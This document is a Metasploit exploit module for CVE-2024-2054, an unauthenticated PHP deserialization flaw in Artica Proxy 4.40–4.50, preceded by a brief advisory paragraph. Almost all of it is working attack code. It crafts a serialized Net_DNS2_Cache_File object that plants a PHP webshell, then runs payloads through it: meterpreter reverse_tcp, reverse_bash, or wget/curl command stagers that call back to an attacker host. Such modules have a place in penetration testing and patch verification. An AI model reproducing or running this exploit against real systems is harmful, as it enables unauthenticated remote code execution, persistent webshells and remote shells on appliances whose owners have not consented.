A command injection vulnerability in Artica Proxy appliance versions 4.50 and 4.40 allows remote attackers to run arbitrary commands via an unauthenticated HTTP request. The Artica Proxy administrative web application will deserialize arbitrary PHP objects supplied by unauthenticated users and subsequently enable code execution as the www-data user.
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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Artica Proxy Unauthenticated PHP Deserialization Vulnerability',
'Description' => %q{
A Command Injection vulnerability in Artica Proxy appliance version 4.50 and 4.40
allows remote attackers to run arbitrary commands via unauthenticated HTTP request.
The Artica Proxy administrative web application will deserialize arbitrary PHP objects
supplied by unauthenticated users and subsequently enable code execution as the "www-data" user.
},
'License' => MSF_LICENSE,
'Author' => [
'h00die-gr3y <h00die.gr3y[at]gmail.com>', # MSF module contributor
'Jaggar Henry of KoreLogic Inc.' # Discovery of the vulnerability
],
'References' => [
['CVE', '2024-2054'],
['URL', 'https://attackerkb.com/topics/q1JUcEJjXZ/cve-2024-2054'],
['PACKETSTORM', '177482']
],
'DisclosureDate' => '2024-03-05',
'Platform' => ['php', 'unix', 'linux'],
'Arch' => [ARCH_PHP, ARCH_CMD, ARCH_X64, ARCH_X86],
'Privileged' => false,
'Targets' => [
[
'PHP',
{
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Type' => :php,
'DefaultOptions' => {
'PAYLOAD' => 'php/meterpreter/reverse_tcp'
}
}
],
[
'Unix Command',
{
'Platform' => ['unix', 'linux'],
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
}
}
],
[
'Linux Dropper',
{
'Platform' => ['linux'],
'Arch' => [ARCH_X64, ARCH_X86],
'Type' => :linux_dropper,
'CmdStagerFlavor' => ['wget', 'curl', 'bourne', 'printf', 'echo'],
'Linemax' => 16384,
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'SSL' => true,
'RPORT' => 9000
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options([
OptString.new('TARGETURI', [ true, 'The Artica Proxy endpoint URL', '/' ]),
OptString.new('WEBSHELL', [false, 'Set webshell name without extension. Name will be randomly generated if left unset.', nil]),
OptEnum.new('COMMAND',
[true, 'Use PHP command function', 'passthru', %w[passthru shell_exec system exec]], conditions: %w[TARGET != 0])
])
end
def execute_php(cmd, _opts = {})
payload = Base64.strict_encode64(cmd)
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'wizard', @webshell_name),
'ctype' => 'application/x-www-form-urlencoded',
'vars_post' => {
@post_param => payload
}
})
end
def execute_command(cmd, _opts = {})
payload = Base64.strict_encode64(cmd)
php_cmd_function = datastore['COMMAND']
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'wizard', @webshell_name),
'ctype' => 'application/x-www-form-urlencoded',
'vars_get' => {
@get_param => php_cmd_function
},
'vars_post' => {
@post_param => payload
}
})
end
def upload_webshell
# randomize file name if option WEBSHELL is not set
@webshell_name = (datastore['WEBSHELL'].blank? ? "#{Rex::Text.rand_text_alpha(8..16)}.php" : "#{datastore['WEBSHELL']}.php")
@webshell_full_path = "/usr/share/artica-postfix/wizard/#{@webshell_name}"
@post_param = Rex::Text.rand_text_alphanumeric(1..8)
@get_param = Rex::Text.rand_text_alphanumeric(1..8)
# Upload webshell with PHP payload
if target['Type'] == :php
php_payload = "<?php @eval(base64_decode($_POST[\'#{@post_param}\']));?>"
else
php_payload = "<?=$_GET[\'#{@get_param}\'](base64_decode($_POST[\'#{@post_param}\']));?>"
end
php_payload_len = php_payload.length
webshell_full_path_len = @webshell_full_path.length
final_payload = "O:19:\"Net_DNS2_Cache_File\":4:{s:10:\"cache_file\";s:#{webshell_full_path_len}:\"#{@webshell_full_path}\";s:16:\"cache_serializer\";s:4:\"json\";s:10:\"cache_size\";i:9999999999;s:10:\"cache_data\";a:1:{s:#{php_payload_len}:\"#{php_payload}\";a:2:{s:10:\"cache_date\";i:0;s:3:\"ttl\";i:9999999999;}}}"
final_payload_b64 = Base64.strict_encode64(final_payload)
return send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'wizard', 'wiz.wizard.progress.php'),
'ctype' => 'application/x-www-form-urlencoded',
'vars_get' => {
'build-js' => final_payload_b64
}
})
end
def check
print_status("Checking if #{peer} can be exploited.")
res = send_request_cgi!({
'method' => 'GET',
'ctype' => 'application/x-www-form-urlencoded',
'uri' => normalize_uri(target_uri.path)
})
return CheckCode::Unknown('No valid response received from target.') unless res && res.code == 200
# Check if target is an Artica Proxy appliance
# Search for the Artica Version tag on the login page
html = res.get_html_document
unless html.blank?
version_match = html.text.match(/Artica.{1,2}\d\.\d\d/)
return CheckCode::Unknown('No Artica version found.') if version_match.nil?
version = version_match[0].split(' ')
if version.count > 1 && Rex::Version.new(version[1]) <= Rex::Version.new('4.50') && Rex::Version.new(version[1]) >= Rex::Version.new('4.40')
return CheckCode::Vulnerable("Artica version: #{version[1]}")
else
return CheckCode::Safe("Artica version: #{version[1]}")
end
end
CheckCode::Unknown
end
def exploit
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
res = upload_webshell
fail_with(Failure::PayloadFailed, 'Web shell upload error.') unless res && res.code == 500
register_file_for_cleanup(@webshell_full_path)
case target['Type']
when :php
execute_php(payload.encoded)
when :unix_cmd
execute_command(payload.encoded)
when :linux_dropper
# Don't check the response here since the server won't respond
# if the payload is successfully executed.
execute_cmdstager({ linemax: target.opts['Linemax'] })
end
end
end